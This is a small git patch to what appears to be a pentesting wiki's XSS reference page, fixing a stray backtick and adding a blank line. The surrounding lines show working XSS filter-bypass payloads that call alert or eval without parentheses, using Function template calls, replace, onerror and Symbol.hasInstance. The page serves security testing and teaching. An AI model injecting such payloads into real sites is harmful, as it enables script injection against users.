From a05a0908074e520710f13351adb6234f40cfdad7 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 4 Feb 2025 23:39:11 +0100 Subject: [PATCH] fix xss --- src/pentesting-web/xss-cross-site-scripting/README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index c2f9cc07f..752298e2a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -693,7 +693,7 @@ function btt(){ btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it -Function`x${'alert(1337)'}x``` +Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," @@ -741,6 +741,7 @@ try{throw onerror=alert}catch{throw 1} 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. + ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)